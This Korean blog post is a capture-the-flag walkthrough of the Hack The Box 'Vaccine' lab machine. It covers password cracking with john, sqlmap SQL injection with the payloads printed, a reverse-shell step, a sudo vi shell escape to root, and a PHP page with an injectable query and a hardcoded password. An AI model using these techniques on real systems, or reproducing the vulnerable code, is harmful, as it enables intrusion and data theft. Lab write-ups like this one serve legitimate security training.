일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 디지털포렌식 전문가 2급
- root
- Cybersecurity
- 25 Days of Cyber Security
- 리눅스마스터 2급 2차
- 해킹
- Capture The Flag
- Hack The Box
- TryHackMe
- hackthebox
- hacker
- picoGym
- picoCTF
- 디지털포렌식
- INFOSEC
- TryHackeMe
- 정보보안산업기사 필기
- 정보보안
- kali-linux
- CTF
- THM
- 디지털포렌식 자격증
- Whitehacker
- 리눅스마스터 자격증
- htb
- flag
- picoCTF 2021
- 자격증
- 정보보안산업기사 자격증
- 포렌식
- Today
- Total
root@j4sper:~#
Starting Point | Vaccine 본문
Oopsie의 다음 단계를 마친 후 다음 단계인 Vaccine을 진행했다. Oopsie에서 얻은 아이디 ftpuser 패스워드 mc@F1l3ZilL4를 기억한다.
Vaccine을 시작하기에 앞서 Vaccine 디렉터리를 생성 후 내부에서 진행한다.
Vaccine 디렉터리 생성 후 nmap으로 Vaccine IP주소 스캔을 진행한다.
# nmap -sC -sV 10.10.10.46
포트 스캔을 진행하면 21, 22, 80번 포트가 열려있다. 21번은 ftp 서버, 22번은 ssh 서버, 80번은 웹서버이다.
웹서버에 접속해 아이디와 패스워드를 Oopsie에서 진행했던 것처럼 아이디 admin 패스워드 MEGACORP_4dm1n!!와 M3g4C0rpUs3r! 2개를 시도해 봤지만 로그인에 실패했다.
그래서 우선 ftp 서버가 열려 있으니 Oopsie 단계에서 얻은 ftp 아이디와 비밀번호를 이용해 접속한다.
# ftp 10.10.10.46
ID : ftpuser
PASSWORD : mc@F1l3ZilL4
ftp 서버에 접속 후 ftp 내부에 있는 파일을 dir 명령어로 확인해보면 backup.zip 파일이 있는 것을 확인할 수 있는데, get 명령어를 사용해 파일을 Vaccine 디렉터리로 가져온다.
ftp> dir
ftp> get backup.zip
가져온 backup.zip 파일의 압축을 해제를 시도했지만 파일에 패스워드가 설정되어 있다. ftp 서버에서 사용한 패스워드를 사용해 봤지만 맞지 않는다고 나온다.
# unzip backup.zip
zip2john 명령어를 사용해 zip 파일의 hash을 뽑아내 zip 파일 패스워드를 크랙 할 때 이용할 수 있는데, 크랙 전 rockyou.txt 파일이 필요하므로 rockyou.txt 파일을 찾아 복사해 Vaccine 디렉터리에 가져온다. rockyou.txt 파일은 gz 파일로 압축되어 있는데 이 gz 파일은 gunzip 명령어를 사용해 압축을 해제할 수 있다.
# locate rockyou.txt
# cp /usr/share/wordlists/rockyou.txt.gz .
# gunzip rockyou.txt.gz
압축 해제 후 zip2john 명령어를 사용해 zip 파일의 hash를 추출한다.
# zip2john backup.zip > hash
hash 값을 얻은 후 john 명령어와 rockyou.txt 파일을 이용해 패스워드를 크랙 한다.
# john hash --fork=4 --wordlist=/home/jasper/HTB/Vaccine/rockyou.txt
크랙 결과 zip 파일의 패스워드 741852963을 알아냈다.
알아낸 패스워드를 가지고 zip의 압축을 해제하면 두 개의 파일이 압축 해제된다.
index.php의 파일의 코드를 확인해보면 md5로 암호화되어있다.
crackstation.net에서 암호화된 패스워드를 크랙 하면 qwerty789라는 패스워드를 알아낼 수 있다.
위에서 얻은 암호로 10.10.10.46에 접속해 아이디 admin 패스워드 qwerty789를 입력하면 로그인에 성공해 아래와 같이 dashboard.php에 접속된다.
search 란에 a를 입력하면 url 부분에 ?search=a가 생긴다. 그다음 오른쪽 위 브라우저 설정에서 Web Developer 탭에서 Storage Inspector 부분을 클릭하면 PHPSESSID 값을 확인할 수 있다.
이렇게 얻은 cookie의 PHPSESSID 값으로 SQL 인젝션을 시도할 수 있다.
# sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie='PHPSESSID=4u31poqpqd3q72ba6g0ra5dosl'
___
__H__
___ ___[(]_____ ___ ___ {1.5.3#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:26:54 /2021-03-28/
[04:26:54] [INFO] resuming back-end DBMS 'postgresql'
[04:26:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
Payload: search=a' AND (SELECT (CASE WHEN (6158=6158) THEN NULL ELSE CAST((CHR(115)||CHR(75)||CHR(100)||CHR(70)) AS NUMERIC) END)) IS NULL-- XAEq
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=a' AND 9027=CAST((CHR(113)||CHR(113)||CHR(112)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (9027=9027) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(112)||CHR(120)||CHR(113)) AS NUMERIC)-- vXRe
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=a';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=a' AND 4343=(SELECT 4343 FROM PG_SLEEP(5))-- FzXf
---
[04:26:55] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[04:26:55] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.10.46'
[*] ending @ 04:26:55 /2021-03-28/
위와 같이 명령어를 사용하면 SQL 인젝션에 성공했으며 PostgreSQL 데이터베이스 관리 시스템을 사용 중인 것을 알아냈다. 방금 진행한 명령어에 --os-shell 옵션을 추가하면 PostgreSQL 시스템에 접속할 수 있다.
리버스 쉘을 얻기 위해 새로운 터미널을 열어 nc 명령어를 이용해 4444번 포트에 대해 리스닝한다.
대기시킨 후 다시 os-shell로 넘어가 아래와 같은 명령어를 입력하면 4444번 포트로 연결이 된다.
이렇게 얻은 쉘에 다음과 같은 명령어를 입력해준다.
이 과정까지 했다면 아까 확인했던 웹사이트 dashboard.php에 대한 소스코드를 확인해보기 위해 /var/www/html 파일로 이동해서 확인한다. dashboard.php 코드 안에서 user는 postgres, 패스워드는 P@s5w0rd! 이란 걸 알아냈다.
$ cd /var/www/html
postgres@vaccine:/var/www/html$ cat dashboard.php
cat dashboard.php
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Admin Dashboard</title>
<link rel="stylesheet" href="./dashboard.css">
<script src="https://use.fontawesome.com/33a3739634.js"></script>
</head>
<body>
<!-- partial:index.partial.html -->
<body>
<div id="wrapper">
<div class="parent">
<h1 align="left">MegaCorp Car Catalogue</h1>
<form action="" method="GET">
<div class="search-box">
<input type="search" name="search" placeholder="Search" />
<button type="submit" class="search-btn"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
<table id="keywords" cellspacing="0" cellpadding="0">
<thead>
<tr>
<th><span style="color: white">Name</span></th>
<th><span style="color: white">Type</span></th>
<th><span style="color: white">Fuel</span></th>
<th><span style="color: white">Engine</span></th>
</tr>
</thead>
<tbody>
<?php
session_start();
if($_SESSION['login'] !== "true") {
header("Location: index.php");
die();
}
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}
catch ( exception $e ) {
echo $e->getMessage();
}
if(isset($_REQUEST['search'])) {
$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
$result = pg_query($conn,$q);
if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}
else {
$q = "Select * from cars";
$result = pg_query($conn,$q);
if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}
?>
</tbody>
</table>
</div>
</body>
<!-- partial -->
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script src="./dashboard.js"></script>
</body>
</html>
패스워드를 알아냈으니 sudo 명령어로 사용 가능한 명령어의 목록을 확인해보기 위해 sudo -l 명령어를 사용해 확인하면 아래와 같이 사용할 수 있는 명령어를 알려준다.
이 명령어를 그대로 복사해 사용하면 vi 명령어가 사용되어 vi 편집기로 실행된다. 실행된 편집기에서 아래와 같이 입력하면 root 권한을 얻을 수 있다.
$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:!/bin/bash
root 권한을 얻었으니 이제 플래그를 얻기 위해서 user.txt와 root.txt 파일을 찾아 flag를 얻을 수 있다. 참고로 Vaccine 단계는 user 플래그는 에러로 인해 입력이 되지 않아 root flag만 입력하면 된다.
# find / -type f -name user.txt 2>/dev/null
# find / -type f -name root.txt 2>/dev/null
'Walkthrough > Hack The Box' 카테고리의 다른 글
Starting Point | Pathfinder (0) | 2021.04.14 |
---|---|
Starting Point | Shield (0) | 2021.03.31 |
Starting Point | Oopsie (0) | 2021.03.25 |
Starting Point | Archetype (0) | 2021.03.17 |
Hack The Box 가입하기 (0) | 2021.03.09 |